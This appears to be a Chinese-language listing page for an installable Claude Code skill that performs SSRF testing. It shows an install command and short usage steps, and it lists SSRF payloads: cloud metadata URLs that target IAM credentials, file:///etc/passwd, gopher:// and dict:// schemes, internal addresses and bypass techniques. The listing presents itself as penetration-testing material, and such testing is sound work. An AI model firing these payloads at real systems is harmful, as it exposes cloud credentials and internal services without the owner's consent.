mcpField
P
performing-ssrf-vulnerability-exploitation

performing-ssrf-vulnerability-exploitation

github.com/mukul975安全35.2k248 次安装8 周前更新
代码仓库

关于 performing-ssrf-vulnerability-exploitation

面向安全人员的 SSRF 测试技能,涵盖载荷测试、响应分析和报告生成,供授权评估及测试环境使用。

主要功能

  1. 01使用 SSRF 载荷测试 URL 参数
  2. 02检查云元数据和内部服务
  3. 03测试协议处理器及绕过方式
  4. 04分析响应中的访问或信息泄露
  5. 05生成漏洞评估报告

适用场景

  1. 01评估应用的 URL 获取功能
  2. 02在实验环境验证 SSRF 防护
  3. 03调查 SSRF 相关安全事件

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-ssrf-vulnerability-exploitation

安装后在 Claude Code 中输入/performing-ssrf-vulnerability-exploitation确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

何时使用

  • 当开展涉及 SSRF 漏洞利用的安全评估时
  • 当针对相关安全事件遵循事件响应流程时
  • 当执行计划内的安全测试或审计活动时
  • 当通过动手测试验证安全控制措施时

前提条件

  • 熟悉安全运营概念和工具
  • 可访问测试或实验环境以安全执行
  • Python 3.8+ 并安装所需依赖
  • 对任何测试活动具有适当授权

操作说明

  1. 安装依赖:pip install requests
  2. 识别目标应用中接受 URL 或主机名的 URL 参数。
  3. 测试 SSRF 载荷:
    • 云元数据:http://169.254.169.254/latest/meta-data/
    • 内部服务:http://127.0.0.1:port/、http://10.0.0.1/
    • 协议处理器:file:///etc/passwd、gopher://、dict://
    • 绕过技术:IP 编码、DNS 重绑定、URL 重定向
  4. 分析响应以发现信息泄露或内部访问确认。
  5. 生成漏洞评估报告。
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

示例

AWS 元数据 SSRF
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

如果响应包含 AWS 凭据(AccessKeyId、SecretAccessKey),则确认存在 SSRF,且影响为严重。

评论

支持 Markdown